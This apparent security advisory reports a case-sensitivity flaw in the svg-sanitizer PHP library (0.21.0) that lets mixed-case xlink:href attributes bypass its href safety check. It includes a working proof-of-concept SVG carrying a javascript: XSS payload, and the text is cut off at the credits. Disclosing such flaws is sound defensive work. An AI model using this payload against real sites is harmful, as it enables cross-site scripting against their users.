svg-sanitizer Bypasses Attribute Sanitization
Problem The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. xlink:href instead of xlink:HrEf), which allows to by-pass the isHrefSafeValue check. As a result this allows cross-site scripting or linking to external domains. Proof-of-concept provided by azizk <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <a xlink:hReF="javascript:alert(document.domain)"> <rect width="100" height="50" fill="red"></rect> <text x="50" y="30" text-anchor="middle" fill="white">Click me</text> </a> </svg> Credits The mentioned findings and proof-of-concept example were …